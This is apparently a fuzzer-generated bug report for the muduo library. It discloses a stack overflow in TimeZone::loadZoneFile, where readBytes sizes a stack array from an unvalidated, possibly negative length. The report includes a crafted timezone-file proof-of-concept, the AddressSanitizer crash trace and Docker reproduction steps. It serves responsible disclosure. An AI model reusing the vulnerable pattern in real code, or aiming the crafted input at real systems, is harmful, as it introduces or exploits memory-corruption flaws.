[bug] Controllable stack overflow in `muduo::TimeZone::loadZoneFile` through crafted timezone file

[hgarrereyn]

Hi, there is a potential bug in muduo::TimeZone::loadZoneFile reachable by providing crafted timezone data.

This bug was reproduced on f1fc77e.

Description

The following testcase invokes muduo::TimeZone::loadZoneFile on a crafted timezone file which hits a stack overflow (write).

If muduo::TimeZone::loadZoneFile is invoked on an untrusted or user-supplied timezone file, this could manifest as a security vulnerability. Such a situation is probably unlikely in practice, so I think this is a fairly low severity bug.

In particular, it seems like the main issue here is this function:

muduo/muduo/base/TimeZone.cc

Lines 111 to 118 in f1fc77e

	string readBytes(int n)
	{
	char buf[n];
	ssize_t nr = ::fread(buf, 1, n, fp_);
	if (nr != n)
	throw std::logic_error("no enough data");
	return string(buf, n);
	}

Providing a negative n to readBytes (which is possible due to lack of validation) causes a zero sized buf and the subsequent fread will overwrite the stack with arbitrary user data.

POC

The following testcase demonstrates the bug:

testcase.cpp

#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>

#include "/fuzz/install/include/muduo/base/TimeZone.h"

int main() {
    unsigned char data[] = {84, 90, 105, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 127, 255, 255, 255, 4, 255, 255, 241, 186, 0, 0, 90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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    const char *fname = "tz.dat";

    FILE* temp_file = fopen(fname, "wb");
    fwrite(data, 1, sizeof(data), temp_file);
    fclose(temp_file);

    muduo::TimeZone tmp = muduo::TimeZone::loadZoneFile(fname);

    return 0;
}

stdout

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc205f05d8 (pc 0x55d68f3ce1f6 bp 0x7ffd205f05f0 sp 0x7ffc205f05e0 T0)
    #0 0x55d68f3ce1f6 in muduo::detail::File::readBytes[abi:cxx11](int) /fuzz/src/muduo/base/TimeZone.cc:113:5
    #1 0x55d68f3c8fe0 in muduo::detail::readDataBlock(muduo::detail::File&, muduo::TimeZone::Data*, bool) /fuzz/src/muduo/base/TimeZone.cc:224:26
    #2 0x55d68f3ca874 in muduo::detail::readTimeZoneFile(char const*, muduo::TimeZone::Data*) /fuzz/src/muduo/base/TimeZone.cc:274:16
    #3 0x55d68f3cc66c in muduo::TimeZone::loadZoneFile(char const*) /fuzz/src/muduo/base/TimeZone.cc:442:8
    #4 0x55d68f3c7665 in main /fuzz/testcase.cpp:17:27
    #5 0x7f43ad021d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7f43ad021e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #7 0x55d68f2ec3d4 in _start (/fuzz/test+0x2d3d4) (BuildId: ebfda86d7a55715997f85aeaec853674782201d8)

SUMMARY: AddressSanitizer: stack-overflow /fuzz/src/muduo/base/TimeZone.cc:113:5 in muduo::detail::File::readBytes[abi:cxx11](int)
==1==ABORTING

stderr

Steps to Reproduce

The crash was triaged with the following Dockerfile:

Dockerfile

# Ubuntu 22.04 with some packages pre-installed
FROM hgarrereyn/stitch_repro_base@sha256:3ae94cdb7bf2660f4941dc523fe48cd2555049f6fb7d17577f5efd32a40fdd2c

RUN git clone https://github.com/chenshuo/muduo /fuzz/src && \
    cd /fuzz/src && \
    git checkout f1fc77e0c13b80e5086ff457362c8a86d1b609d4 && \
    git submodule update --init --remote --recursive

ENV LD_LIBRARY_PATH=/fuzz/install/lib
ENV ASAN_OPTIONS=hard_rss_limit_mb=1024:detect_leaks=0

RUN echo '#!/bin/bash\nexec clang-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper && \
    chmod +x /usr/local/bin/clang_wrapper && \
    echo '#!/bin/bash\nexec clang++-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper++ && \
    chmod +x /usr/local/bin/clang_wrapper++

RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
    cmake make ninja-build \
    libboost-dev \
    libprotobuf-dev \
    protobuf-compiler \
    zlib1g-dev \
 && rm -rf /var/lib/apt/lists/*

ENV CC=clang_wrapper CXX=clang_wrapper++

# Configure and build
RUN cmake -S /fuzz/src -B /fuzz/build \
    -DCMAKE_BUILD_TYPE=Release \
    -DCMAKE_C_COMPILER=clang_wrapper \
    -DCMAKE_CXX_COMPILER=clang_wrapper++ \
    -DCMAKE_INSTALL_PREFIX=/fuzz/install \
    -DMUDUO_BUILD_EXAMPLES=OFF \
    -DBUILD_SHARED_LIBS=OFF \
 && cmake --build /fuzz/build --target install -j$(nproc)

Build Command

clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lmuduo_inspect -lmuduo_http -lmuduo_net -lmuduo_base -lprotobuf -lz -lpthread -lrt && /fuzz/test

Reproduce

1. Copy Dockerfile and testcase.cpp into a local folder.
2. Build the repro image:

docker build . -t repro --platform=linux/amd64

3. Compile and run the testcase in the image:

docker run \
    -it --rm \
    --platform linux/amd64 \
    --mount type=bind,source="$(pwd)/testcase.cpp",target=/fuzz/testcase.cpp \
    repro \
    bash -c "clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lmuduo_inspect -lmuduo_http -lmuduo_net -lmuduo_base -lprotobuf -lz -lpthread -lrt && /fuzz/test"

---

Additional Info

This testcase was discovered by STITCH, an autonomous fuzzing system. All reports are reviewed manually (by a human) before submission.